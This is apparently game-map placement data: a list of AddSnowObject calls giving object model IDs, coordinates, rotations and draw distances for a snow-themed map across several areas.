AddSnowObject(790, -934.476, -118.976, 59.773, 0.000, 0.000, 48.315, 131.6);
AddSnowObject(693, -901.695, -115.859, 60.609, 0.000, 0.000, -140.416, 133.5);
AddSnowObject(12923, 158.358, -176.304, 5.570, 0.000, 0.000, 0.000, 131.5);
AddSnowObject(12996, 157.804, -176.843, 0.492, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(12926, 100.523, -173.891, 0.000, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(12939, 182.804, -123.094, 0.773, 0.000, 0.000, 0.000, 157.4);
AddSnowObject(12803, 247.804, -141.843, 0.492, 0.000, 0.000, 0.000, 183.8);
AddSnowObject(791, -629.101, -108.563, 61.828, 0.000, 0.000, 69.643, 162.6);
AddSnowObject(12807, -478.187, -100.414, 64.460, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(791, -387.367, -97.359, 43.179, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(693, -819.734, -71.945, 53.085, 0.000, 0.000, 167.583, 133.5);
AddSnowObject(790, -772.890, -59.351, 55.992, 0.000, 0.000, 48.315, 131.6);
AddSnowObject(693, -803.843, -54.421, 52.601, 0.000, 0.000, 140.977, 133.5);
AddSnowObject(12895, -295.000, -55.156, 0.476, 0.000, 0.000, 0.000, 212.5);
AddSnowObject(790, -768.960, -49.968, 56.289, 0.000, 0.000, 134.233, 131.6);
AddSnowObject(13049, -114.578, -47.406, 2.023, 0.000, 0.000, -111.482, 308.5);
AddSnowObject(12997, 172.804, -96.843, 0.492, 0.000, 0.000, 0.000, 161.0);
AddSnowObject(13050, 50.179, -43.281, 0.984, 0.000, 0.000, -112.284, 283.3);
AddSnowObject(13173, 307.804, -106.844, 0.406, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(791, -588.039, -30.195, 60.812, 0.000, 0.000, 69.643, 162.6);
AddSnowObject(13045, -697.476, -8.023, 63.781, 0.000, 0.000, 0.000, 147.8);
AddSnowObject(791, -449.937, 10.835, 46.539, 0.000, 0.000, 113.000, 162.6);
AddSnowObject(13038, -751.156, 33.109, 36.945, 0.000, 0.000, -172.084, 281.4);
AddSnowObject(791, -556.054, 25.492, 55.093, 0.000, 0.000, -179.356, 162.6);
AddSnowObject(693, -428.015, 45.835, 45.265, 0.000, -4.580, -138.710, 133.5);
AddSnowObject(693, -531.039, 55.398, 55.265, 0.000, 0.000, -153.210, 133.5);
AddSnowObject(790, -823.921, 53.390, 37.812, 0.000, 0.000, 155.320, 131.6);
AddSnowObject(790, -762.937, 62.250, 34.398, 0.000, 0.000, 58.320, 131.6);
AddSnowObject(13042, -792.046, 62.000, 11.703, 0.000, 0.000, 0.000, 306.4);
AddSnowObject(13043, -580.695, 63.054, 38.210, 0.000, 0.000, 0.000, 274.2);
AddSnowObject(790, -761.984, 89.351, 19.210, 0.000, 0.000, 156.061, 131.6);
AddSnowObject(693, -743.875, 83.570, 23.343, 0.000, 0.000, -153.210, 133.5);
AddSnowObject(693, -506.031, 94.570, 31.710, 0.000, 0.000, -153.210, 133.5);
AddSnowObject(13041, -368.757, 74.671, 30.054, 0.000, 0.000, 0.000, 300.1);
AddSnowObject(13023, -561.320, 123.796, 28.976, 0.000, 0.000, 0.000, 185.8);
AddSnowObject(12810, -238.210, 140.539, 0.750, 0.000, 0.000, 0.000, 203.5);
AddSnowObject(791, -526.906, 190.664, 7.812, 0.000, 0.000, 104.143, 162.6);
AddSnowObject(12874, -682.273, 238.757, 1.257, 0.000, 0.000, -178.517, 234.7);
AddSnowObject(12969, -631.023, 247.250, -10.468, 0.000, 0.000, 0.000, 288.9);
AddSnowObject(693, -581.671, 245.695, 24.078, 0.000, 0.000, -153.210, 133.5);
AddSnowObject(12873, -365.953, 270.296, 3.273, 0.000, 0.000, 175.521, 259.9);
AddSnowObject(13044, -354.117, 256.304, -13.914, 0.000, 0.000, 0.000, 271.2);
AddSnowObject(13051, -71.421, 140.608, 1.187, 0.000, 0.000, -21.996, 267.6);
AddSnowObject(12809, -93.546, 199.772, 4.664, 0.000, 0.000, 165.634, 230.3);
AddSnowObject(13066, 165.007, -35.648, 6.171, 0.000, 0.000, -89.999, 148.7);
AddSnowObject(12994, 207.804, -11.843, 0.992, 0.000, 0.000, 0.000, 161.0);
AddSnowObject(13065, 210.296, 20.476, -0.429, 0.000, 0.000, 0.102, 130.0);
AddSnowObject(12916, 124.085, 106.844, -2.851, 0.000, 0.000, 74.833, 279.5);
AddSnowObject(13058, 127.585, 88.148, 1.296, 0.000, 0.000, -31.901, 215.8);
AddSnowObject(13171, 301.109, 4.914, 3.023, 0.000, 0.000, 0.000, 193.1);
AddSnowObject(13021, 387.117, -941.695, 51.421, 0.000, 0.000, 0.000, 255.9);
AddSnowObject(13371, 422.062, -782.476, 42.617, 0.000, 0.000, 0.000, 232.8);
AddSnowObject(791, 495.343, -677.484, 15.546, 0.000, 0.000, -47.840, 162.6);
AddSnowObject(791, 420.968, -705.867, 22.828, 0.000, 0.000, 39.160, 162.6);
AddSnowObject(13370, 543.132, -807.585, 52.843, 0.000, 0.000, 0.000, 257.3);
AddSnowObject(791, 552.718, -724.031, 12.054, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13128, 640.570, -660.179, 12.609, 0.000, 0.000, 0.000, 171.6);
AddSnowObject(12971, 548.765, -626.984, 26.171, 0.000, 0.000, 0.000, 231.6);
AddSnowObject(791, 438.140, -628.648, 26.859, 0.000, 0.000, -91.952, 162.6);
AddSnowObject(791, 367.015, -606.421, 31.109, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(12855, 622.945, -577.062, 21.812, 0.000, 0.000, 0.000, 143.1);
AddSnowObject(12989, 536.890, -578.046, 32.398, 0.000, 0.000, 0.000, 307.1);
AddSnowObject(12973, 421.210, -570.234, 37.921, 0.000, 0.000, 0.000, 263.0);
AddSnowObject(12999, 681.710, -574.882, 15.250, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(791, 395.625, -550.398, 36.773, 0.000, 0.000, -34.238, 162.6);
AddSnowObject(791, 467.273, -549.429, 31.750, 0.000, 0.000, 151.999, 162.6);
AddSnowObject(12862, 642.203, -508.078, 19.085, 0.000, 0.000, 0.000, 133.8);
AddSnowObject(791, 481.335, -508.421, 38.656, 0.000, 0.000, 71.999, 162.6);
AddSnowObject(13127, 631.710, -507.640, 15.250, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(13001, 701.062, -507.640, 15.250, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(791, 527.421, -492.226, 34.687, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, 422.242, -442.500, 24.859, 0.000, 0.000, 4.659, 162.6);
AddSnowObject(13000, 563.562, -438.882, 36.093, 0.000, 0.000, 0.000, 195.5);
AddSnowObject(12976, 681.476, -459.000, 15.531, 0.000, 0.000, 0.000, 145.2);
AddSnowObject(12812, 329.679, -354.421, 8.937, 0.000, 0.000, 0.000, 246.9);
AddSnowObject(791, 441.039, -369.593, 28.812, 0.000, 0.000, 71.999, 162.6);
AddSnowObject(790, 539.343, -334.421, 26.320, 0.000, 0.000, -174.420, 131.6);
AddSnowObject(790, 648.171, -371.000, 23.414, 0.000, 0.000, 135.607, 131.6);
AddSnowObject(791, 695.820, -350.156, 5.390, 0.000, 0.000, -79.986, 162.6);
AddSnowObject(13209, 391.335, -330.671, 19.507, 0.000, 0.000, 0.000, 217.5);
AddSnowObject(791, 637.640, -328.687, 10.320, 0.000, 0.000, -144.797, 162.6);
AddSnowObject(13211, 594.835, -299.835, 6.281, 0.000, 0.000, 0.000, 301.0);
AddSnowObject(13235, 797.703, -707.140, 64.242, 0.000, 0.000, 0.000, 274.8);
AddSnowObject(3741, 890.882, -671.960, 112.319, 0.000, 0.000, -124.000, 135.4);
AddSnowObject(12981, 857.210, -609.968, 17.414, 0.000, 0.000, 0.000, 160.5);
AddSnowObject(12998, 811.718, -580.968, 15.257, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(13129, 786.710, -539.523, 15.250, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(791, 877.625, -484.539, 26.250, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13214, 871.257, -411.437, 38.101, 0.000, 0.000, 0.000, 318.1);
AddSnowObject(13236, 953.023, -569.695, 68.140, 0.000, 0.000, 0.000, 260.6);
AddSnowObject(791, 924.148, -478.453, 38.296, 0.000, 0.000, -62.902, 162.6);
AddSnowObject(13324, 979.507, -500.179, 33.125, 0.000, 0.000, 0.000, 258.6);
AddSnowObject(791, 1049.540, -482.789, 50.085, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13082, 1156.709, 233.296, 33.070, 0.000, 0.000, -156.749, 323.3);
AddSnowObject(13015, 1212.770, 244.539, 21.554, 0.000, 0.000, 155.999, 132.1);
AddSnowObject(12850, 1246.380, 231.367, 18.515, 0.000, 0.000, 155.556, 132.1);
AddSnowObject(12905, 1251.589, 218.085, 18.468, 0.000, 0.000, 0.000, 163.1);
AddSnowObject(13088, 1249.770, 276.179, 18.476, 0.000, 0.000, -23.868, 169.4);
AddSnowObject(12983, 1242.099, 315.148, 18.554, 0.000, 0.000, -23.967, 134.6);
AddSnowObject(12907, 1276.920, 328.085, 18.484, 0.000, 0.000, 156.131, 164.1);
AddSnowObject(13364, 1319.790, 212.703, 22.859, 0.000, 0.000, -24.264, 135.3);
AddSnowObject(12984, 1279.069, 292.273, 23.054, 0.000, 0.000, -23.551, 132.4);
AddSnowObject(12847, 1320.839, 266.687, 22.851, 0.000, 0.000, -24.000, 130.4);
AddSnowObject(12848, 1333.349, 271.007, 19.554, 0.000, 0.000, 0.000, 133.1);
AddSnowObject(12906, 1343.579, 264.507, 18.476, 0.000, 0.000, 156.131, 152.3);
AddSnowObject(13361, 1372.209, 250.772, 25.429, 0.000, 0.000, 66.197, 131.2);
AddSnowObject(13092, 1388.489, 242.438, 18.492, 0.000, 0.000, 156.131, 151.5);
AddSnowObject(13013, 1384.020, 304.289, 22.054, 0.000, 0.000, 66.074, 135.1);
AddSnowObject(13014, 1422.449, 244.617, 21.500, 0.000, 0.000, 66.370, 140.7);
AddSnowObject(791, 1490.050, 312.382, 18.289, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, 1497.050, 265.062, 16.882, 0.000, 0.000, 51.499, 162.6);
AddSnowObject(790, 1530.130, 232.820, 23.101, 0.000, 0.000, 116.808, 131.6);
AddSnowObject(12866, 1551.479, 216.835, 23.953, 0.000, 0.000, 0.000, 285.2);
AddSnowObject(12829, 1663.810, 282.867, 31.757, 0.000, 0.000, 0.000, 245.0);
AddSnowObject(12826, 1715.650, 288.695, 24.367, 0.000, 0.000, 0.000, 240.6);
AddSnowObject(13348, 1724.489, 289.195, 24.023, 0.000, 0.000, 0.000, 212.3);
AddSnowObject(12830, 1607.430, 299.476, 24.265, 0.000, 0.000, 0.000, 199.5);
AddSnowObject(13349, 1607.160, 299.476, 22.476, 0.000, 0.000, 0.000, 200.1);
AddSnowObject(13347, 1670.119, 313.359, 24.742, 0.000, 0.000, -16.643, 210.3);
AddSnowObject(12886, 1883.229, 284.195, 26.156, 0.000, 0.000, 0.000, 183.7);
AddSnowObject(790, 1900.449, 323.304, 26.023, 0.000, 0.000, -143.691, 131.6);
AddSnowObject(790, 1927.630, 264.718, 32.710, 0.000, 0.000, 116.808, 131.6);
AddSnowObject(13012, 1258.219, 374.437, 23.054, 0.000, 0.000, -23.221, 136.9);
AddSnowObject(12800, 1328.060, 387.984, 18.710, 0.000, 0.000, 0.000, 192.7);
AddSnowObject(12988, 1354.550, 340.773, 17.554, 0.000, 0.000, 156.102, 133.4);
AddSnowObject(13006, 1382.699, 401.250, 18.750, 0.000, 0.000, -23.317, 136.1);
AddSnowObject(13084, 1621.300, 339.335, -1.289, 0.000, 0.000, -15.237, 265.4);
AddSnowObject(12867, 1768.699, 370.718, 18.750, 0.000, 0.000, 0.000, 250.0);
AddSnowObject(13099, 1822.109, 384.656, -0.125, 0.000, 0.000, -7.232, 261.1);
AddSnowObject(12965, 1124.520, 416.515, 22.382, 0.000, 0.000, 0.000, 218.3);
AddSnowObject(791, 1322.010, 437.593, 17.398, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13297, 1443.869, 410.687, -5.640, 0.000, 0.000, 165.296, 288.7);
AddSnowObject(12899, 1511.199, 410.164, 19.000, 0.000, 0.000, 0.000, 235.0);
AddSnowObject(791, 1460.780, 444.390, 18.007, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(13081, 1195.479, 487.070, -0.093, 0.000, 0.000, -64.300, 303.1);
AddSnowObject(12900, 1251.709, 507.031, 19.046, 0.000, 0.000, 0.000, 236.9);
AddSnowObject(11536, -1023.650, 1088.189, 19.460, 0.000, 0.000, 0.000, 280.1);
AddSnowObject(11534, -1009.280, 1255.660, 20.078, 0.000, 0.000, 0.000, 243.4);
AddSnowObject(11542, -1016.789, 1372.010, 21.156, 0.000, 0.000, 0.000, 242.7);
AddSnowObject(11607, -1130.339, 1471.229, 23.593, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(11553, -1211.300, 1545.189, 3.679, 0.000, 0.000, 0.000, 273.3);
AddSnowObject(11555, -981.320, 1473.060, 29.656, 0.000, 0.000, 0.000, 240.3);
AddSnowObject(11554, -974.476, 1596.500, 3.898, 0.000, 0.000, 0.000, 245.7);
AddSnowObject(11481, -931.734, 1007.599, 34.023, 0.000, 0.000, 0.000, 180.5);
AddSnowObject(11464, -915.656, 1012.450, 32.195, 0.000, 0.000, 0.000, 217.6);
AddSnowObject(11468, -915.656, 1012.450, 32.195, 0.000, 0.000, 0.000, 217.6);
AddSnowObject(11482, -912.414, 1007.969, 34.023, 0.000, 0.000, 0.000, 209.5);
AddSnowObject(11448, -905.406, 1020.450, 10.539, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(11530, -1408.729, 1726.660, 8.875, 0.000, 0.000, 0.000, 262.5);
AddSnowObject(11529, -1648.619, 1748.619, 1.414, 0.000, 0.000, 0.000, 241.3);
AddSnowObject(11552, -1175.680, 1740.930, 36.656, 0.000, 0.000, 0.000, 267.6);
AddSnowObject(11531, -947.523, 1750.880, 25.601, 0.000, 0.000, 0.000, 275.2);
AddSnowObject(11571, -947.523, 1750.880, 25.601, 0.000, 0.000, 0.000, 133.6);
AddSnowObject(11422, -888.203, 1664.540, 29.015, 0.000, 0.000, 121.051, 138.9);
AddSnowObject(11572, -1622.949, 1833.369, 27.875, -0.999, -0.156, 7.000, 138.9);
AddSnowObject(11524, -1731.619, 1916.040, 8.007, 0.000, 0.000, 0.000, 282.3);
AddSnowObject(11525, -1489.469, 1930.010, 34.828, 0.000, 0.000, 0.000, 280.1);
AddSnowObject(11526, -1248.979, 1934.339, 81.390, 0.000, 0.000, 0.000, 287.0);
AddSnowObject(11537, -847.164, 852.289, 12.164, 0.000, 0.000, 0.000, 273.7);
AddSnowObject(11423, -819.859, 1369.589, 16.710, 0.000, 0.000, 118.678, 134.5);
AddSnowObject(11430, -801.148, 698.937, 9.109, 0.000, 0.000, 0.000, 216.3);
AddSnowObject(11557, -802.531, 1070.780, 25.359, 0.000, 0.000, 0.000, 274.6);
AddSnowObject(11535, -806.507, 1310.530, 7.218, 0.000, 0.000, 0.000, 265.5);
AddSnowObject(11465, -757.742, 1122.910, 34.171, 0.000, 0.000, 0.000, 184.9);
AddSnowObject(11438, -800.335, 1436.770, 13.757, 0.000, 0.000, 0.000, 137.5);
AddSnowObject(11471, -802.226, 1474.329, 21.164, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(11475, -805.398, 1510.719, 24.242, 0.000, 0.000, 0.000, 130.5);
AddSnowObject(11532, -779.906, 1535.170, 28.398, 0.000, 0.000, 0.000, 259.8);
AddSnowObject(11567, -756.101, 1638.770, 25.773, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(11429, -821.820, 1753.069, 35.750, 0.000, 0.000, 0.000, 187.9);
AddSnowObject(11541, -840.187, 1895.300, 9.140, 0.000, 0.000, 10.499, 200.8);
AddSnowObject(11528, -866.398, 1929.030, 50.296, 0.000, 0.000, 0.000, 236.4);
AddSnowObject(11538, -668.617, 853.734, -4.132, 0.000, 0.000, 0.000, 269.6);
AddSnowObject(11560, -614.156, 1083.829, 6.359, 0.000, 0.000, 0.000, 239.4);
AddSnowObject(11466, -642.703, 1178.949, 27.375, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(11559, -648.765, 1299.390, -2.945, 0.000, 0.000, 0.000, 240.4);
AddSnowObject(11533, -651.140, 1526.790, 35.195, 0.000, 0.000, 0.000, 231.7);
AddSnowObject(11463, -557.062, 1199.170, 6.796, 0.000, 0.000, 0.000, 186.3);
AddSnowObject(11462, -510.703, 1211.300, 30.804, 0.000, 0.000, 0.000, 188.6);
AddSnowObject(11467, -506.921, 1209.890, 27.843, 0.000, 0.000, 0.000, 192.4);
AddSnowObject(11519, -1946.660, 2153.949, 3.820, 0.000, 0.000, 0.000, 275.0);
AddSnowObject(11514, -1979.619, 2361.439, 36.742, 0.000, 0.000, 0.000, 284.2);
AddSnowObject(11549, -1945.890, 2377.909, 48.695, 0.000, 0.000, 111.500, 136.8);
AddSnowObject(11520, -1724.680, 2147.229, 21.179, 0.000, 0.000, 0.000, 276.0);
AddSnowObject(11515, -1757.030, 2385.030, 52.273, 0.000, 0.000, 0.000, 285.7);
AddSnowObject(11628, -2142.070, 2593.129, 82.789, 0.000, 0.000, 0.000, 300.7);
AddSnowObject(790, -2106.110, 2526.439, 53.851, 0.000, 0.000, -81.500, 131.6);
AddSnowObject(790, -2098.429, 2587.560, 120.500, 0.000, 0.000, 58.000, 131.6);
AddSnowObject(790, -2042.560, 2563.239, 92.851, 0.000, 0.000, 23.000, 131.6);
AddSnowObject(11551, -1940.839, 2575.110, 50.914, 0.000, 0.000, 0.000, 164.4);
AddSnowObject(11509, -1938.189, 2600.139, 93.062, 0.000, 0.000, 0.000, 291.8);
AddSnowObject(790, -1923.099, 2671.889, 81.921, 0.000, 0.000, 23.000, 131.6);
AddSnowObject(11629, -2046.199, 2822.260, 87.625, 0.000, 0.000, 0.000, 339.5);
AddSnowObject(790, -1947.300, 2729.840, 98.648, 0.000, 0.000, 23.000, 131.6);
AddSnowObject(11506, -1800.239, 2839.340, 83.804, 0.000, 0.000, 0.000, 329.1);
AddSnowObject(11510, -1720.339, 2615.949, 81.992, 0.000, 0.000, 0.000, 278.4);
AddSnowObject(11516, -1543.910, 2386.899, 54.703, 0.000, 0.000, 0.000, 281.9);
AddSnowObject(11521, -1524.520, 2145.169, 33.468, 0.000, 0.000, 0.000, 277.4);
AddSnowObject(11517, -1303.699, 2382.110, 102.914, 0.000, 0.000, 0.000, 284.3);
AddSnowObject(11527, -1021.020, 1958.829, 65.726, 0.000, 0.000, 0.000, 294.8);
AddSnowObject(11623, -872.875, 1975.359, 59.585, 0.000, 0.000, 0.000, 130.5);
AddSnowObject(11539, -794.828, 2025.439, 31.335, 0.000, 0.000, 0.000, 256.7);
AddSnowObject(11540, -615.289, 2028.550, 31.335, 0.000, 0.000, 0.000, 249.9);
AddSnowObject(11485, -781.195, 2097.159, 41.195, 0.000, 0.000, 0.000, 168.9);
AddSnowObject(11487, -651.351, 2102.620, 41.195, 0.000, 0.000, 0.000, 168.9);
AddSnowObject(11484, -781.273, 2140.520, 41.195, 0.000, 0.000, 0.000, 168.6);
AddSnowObject(11486, -651.281, 2145.959, 41.195, 0.000, 0.000, 0.000, 168.6);
AddSnowObject(11522, -1283.520, 2173.949, 76.984, 0.000, 0.000, 0.000, 289.1);
AddSnowObject(11523, -1056.140, 2157.149, 70.000, 0.000, 0.000, 0.000, 294.3);
AddSnowObject(11498, -1134.209, 2221.060, 82.265, 0.000, 0.000, 0.000, 206.8);
AddSnowObject(11518, -1080.030, 2368.899, 71.812, 0.000, 0.000, 0.000, 271.7);
AddSnowObject(11511, -1489.729, 2617.600, 69.054, 0.000, 0.000, 0.000, 277.1);
AddSnowObject(11543, -1461.160, 2627.679, 62.351, 0.000, 0.000, 0.000, 131.9);
AddSnowObject(11513, -1097.689, 2544.909, 60.429, 0.000, 0.000, 0.000, 177.3);
AddSnowObject(11556, -1348.310, 2576.629, 79.773, 0.000, 0.000, -130.000, 139.2);
AddSnowObject(11512, -1251.079, 2622.300, 73.820, 0.000, 0.000, 0.000, 283.9);
AddSnowObject(11507, -1549.540, 2855.590, 84.726, 0.000, 0.000, 0.000, 317.2);
AddSnowObject(11508, -1300.099, 2863.550, 70.984, 0.000, 0.000, 0.000, 313.2);
AddSnowObject(11647, -1150.640, 2893.760, 58.210, 0.000, 0.000, 0.000, 245.8);
AddSnowObject(18361, -1968.630, -2797.100, -3.156, 0.000, 0.000, 0.000, 249.4);
AddSnowObject(18389, -1582.800, -2772.659, 46.445, 0.000, 0.000, 139.018, 184.6);
AddSnowObject(18355, -1554.469, -2704.159, 6.421, 0.000, 0.000, 0.000, 282.0);
AddSnowObject(18363, -1307.680, -2913.090, 3.234, 0.000, 0.000, 0.000, 228.3);
AddSnowObject(18231, -1185.400, -2913.090, 6.218, 0.000, 0.000, 0.000, 192.3);
AddSnowObject(18362, -1501.369, -2896.379, 3.023, 0.000, 0.000, 0.000, 243.2);
AddSnowObject(18390, -1460.660, -2871.580, 46.468, 0.000, 0.000, -43.614, 220.7);
AddSnowObject(18391, -1317.939, -2892.530, 54.054, 0.000, 0.000, 7.327, 182.6);
AddSnowObject(18392, -1220.709, -2866.179, 65.226, 0.000, 0.000, -170.026, 139.6);
AddSnowObject(18356, -1366.459, -2704.189, 46.218, 0.000, 0.000, 0.000, 258.2);
AddSnowObject(791, -1398.979, -2684.300, 64.328, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1322.630, -2751.449, 66.687, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1229.910, -2696.590, 12.460, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18357, -1219.589, -2710.739, 32.429, 0.000, 0.000, 0.000, 247.5);
AddSnowObject(18354, -1757.410, -2662.159, 3.195, 0.000, 0.000, 0.000, 281.1);
AddSnowObject(18388, -1757.270, -2651.729, 52.851, 0.000, 0.000, -172.476, 255.2);
AddSnowObject(791, -1602.760, -2657.729, 50.351, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1658.310, -2646.719, 38.968, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1517.619, -2666.469, 50.078, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18229, -1175.430, -2643.909, 0.070, 0.000, 0.000, 0.000, 130.2);
AddSnowObject(791, -1909.270, -2478.050, 29.210, 0.000, 0.000, 53.748, 162.6);
AddSnowObject(791, -1868.459, -2470.270, 26.281, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1979.719, -2371.909, 34.757, 0.000, 0.000, -143.613, 131.6);
AddSnowObject(791, -1934.339, -2401.929, 26.500, 0.000, 0.000, 53.748, 162.6);
AddSnowObject(791, -1916.569, -2352.820, 27.898, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1891.069, -2381.689, 34.757, 0.000, 0.000, -98.613, 131.6);
AddSnowObject(791, -1878.780, -2299.449, 36.757, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18228, -1856.689, -2321.290, 38.148, 0.000, 0.000, 0.000, 139.5);
AddSnowObject(791, -1851.170, -2419.889, 28.867, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18387, -1843.550, -2547.949, 45.968, 0.000, 0.000, 176.863, 180.2);
AddSnowObject(791, -1739.500, -2500.330, -1.109, 0.000, 0.000, 72.979, 162.6);
AddSnowObject(18225, -1690.410, -2456.340, 29.539, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(791, -1669.760, -2522.429, 9.132, 0.000, 0.000, 72.979, 162.6);
AddSnowObject(790, -1824.050, -2383.129, 28.593, 0.000, 0.000, -98.613, 131.6);
AddSnowObject(18346, -1801.510, -2447.149, 52.890, 0.000, 0.000, 0.000, 283.2);
AddSnowObject(791, -1796.239, -2445.770, 16.867, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18227, -1790.579, -2267.010, 62.140, 0.000, 0.000, 0.000, 162.9);
AddSnowObject(791, -1744.209, -2269.070, 45.367, 0.000, 0.000, 25.000, 162.6);
AddSnowObject(18226, -1738.189, -2402.209, 29.539, 0.000, 0.000, 0.000, 159.8);
AddSnowObject(791, -1665.260, -2420.199, 94.890, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1493.290, -2602.949, 56.273, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1647.550, -2577.830, 21.367, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1595.439, -2583.270, 27.515, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1557.689, -2490.510, 73.367, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1471.969, -2492.879, 45.554, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1629.079, -2269.719, 27.515, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18347, -1594.339, -2468.669, 56.304, 0.000, 0.000, 0.000, 278.9);
AddSnowObject(18340, -1537.790, -2263.459, 46.070, 0.000, 0.000, 0.000, 284.7);
AddSnowObject(791, -1536.410, -2393.080, 19.703, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1487.819, -2353.229, 4.203, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1422.260, -2404.590, 19.656, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1265.750, -2596.639, 14.117, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1385.920, -2586.209, 49.968, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1315.459, -2545.429, 22.921, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1404.260, -2490.919, 38.359, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18348, -1394.540, -2473.389, 79.664, 0.000, 0.000, 0.000, 244.1);
AddSnowObject(791, -1344.500, -2482.659, 24.390, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18341, -1316.390, -2275.949, 45.546, 0.000, 0.000, 0.000, 272.3);
AddSnowObject(791, -1294.020, -2491.379, 7.085, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18349, -1266.989, -2464.629, 31.218, 0.000, 0.000, 0.000, 237.8);
AddSnowObject(18256, -1215.479, -2348.110, 9.351, 0.000, 0.000, -25.292, 135.8);
AddSnowObject(18358, -2652.770, -2883.520, -20.375, 0.000, 0.000, 0.000, 202.3);
AddSnowObject(18359, -2423.090, -2867.389, -20.375, 0.000, 0.000, 0.000, 234.9);
AddSnowObject(18350, -2642.149, -2657.629, 28.242, 0.000, 0.000, 0.000, 273.5);
AddSnowObject(18351, -2423.540, -2638.909, 38.343, 0.000, 0.000, 0.000, 278.3);
AddSnowObject(18384, -2391.840, -2644.770, 46.328, 0.000, 0.000, 155.524, 246.3);
AddSnowObject(18394, -2543.139, -2608.120, 32.117, 0.000, 0.000, -81.939, 162.4);
AddSnowObject(18360, -2198.449, -2873.070, -8.890, 0.000, 0.000, 0.000, 233.2);
AddSnowObject(18518, -2160.699, -2766.169, 39.359, 0.000, 0.000, 155.524, 174.4);
AddSnowObject(18385, -2200.340, -2651.199, 44.648, 0.000, 0.000, -106.775, 260.1);
AddSnowObject(18352, -2206.080, -2638.909, 47.773, 0.000, 0.000, 0.000, 274.8);
AddSnowObject(790, -2118.050, -2577.889, 34.757, 0.000, 0.000, -67.113, 131.6);
AddSnowObject(18473, -1989.239, -2677.479, 37.710, 0.000, 0.000, 0.000, 255.6);
AddSnowObject(18386, -1989.280, -2643.780, 47.281, 0.000, 0.000, 17.771, 270.8);
AddSnowObject(18485, -1987.880, -2582.669, 48.742, 0.000, 0.000, 0.000, 227.5);
AddSnowObject(18393, -2229.439, -2515.909, 30.156, 0.000, 0.000, 51.499, 134.8);
AddSnowObject(18482, -2180.229, -2490.909, 29.593, 0.000, 0.000, 51.499, 178.1);
AddSnowObject(18484, -2121.110, -2488.050, 29.539, 0.000, 0.000, 51.499, 147.7);
AddSnowObject(18202, -2078.500, -2505.909, 30.281, 0.000, 0.000, -128.502, 143.4);
AddSnowObject(18353, -2057.040, -2552.939, 40.890, 0.000, 0.000, 0.000, 198.6);
AddSnowObject(18476, -2048.600, -2487.270, 32.304, 0.000, 0.000, 51.499, 169.4);
AddSnowObject(790, -2028.189, -2480.020, 34.757, 0.000, 0.000, -98.613, 131.6);
AddSnowObject(791, -1984.939, -2507.850, 29.960, 0.000, 0.000, 53.748, 162.6);
AddSnowObject(790, -1989.780, -2462.330, 34.757, 0.000, 0.000, -98.613, 131.6);
AddSnowObject(18383, -2465.899, -2435.179, 32.640, 0.000, 0.000, -74.688, 235.1);
AddSnowObject(18342, -2645.090, -2426.350, 13.695, 0.000, 0.000, 0.000, 276.3);
AddSnowObject(18343, -2499.500, -2427.649, 37.882, 0.000, 0.000, 0.000, 268.3);
AddSnowObject(18382, -2569.229, -2381.060, 14.820, 0.000, 0.000, -56.869, 232.3);
AddSnowObject(791, -2414.479, -2381.090, 22.796, 0.000, 0.000, -29.999, 162.6);
AddSnowObject(18344, -2293.590, -2421.840, 30.984, 0.000, 0.000, 0.000, 261.1);
AddSnowObject(18483, -2208.939, -2418.020, 29.601, 0.000, 0.000, 51.499, 136.4);
AddSnowObject(18377, -2468.929, -2261.979, 20.210, 0.000, 0.000, 111.302, 263.3);
AddSnowObject(790, -2267.070, -2357.070, 33.453, 0.000, 0.000, -73.613, 131.6);
AddSnowObject(790, -2264.810, -2331.719, 31.507, 0.000, 0.000, -73.613, 131.6);
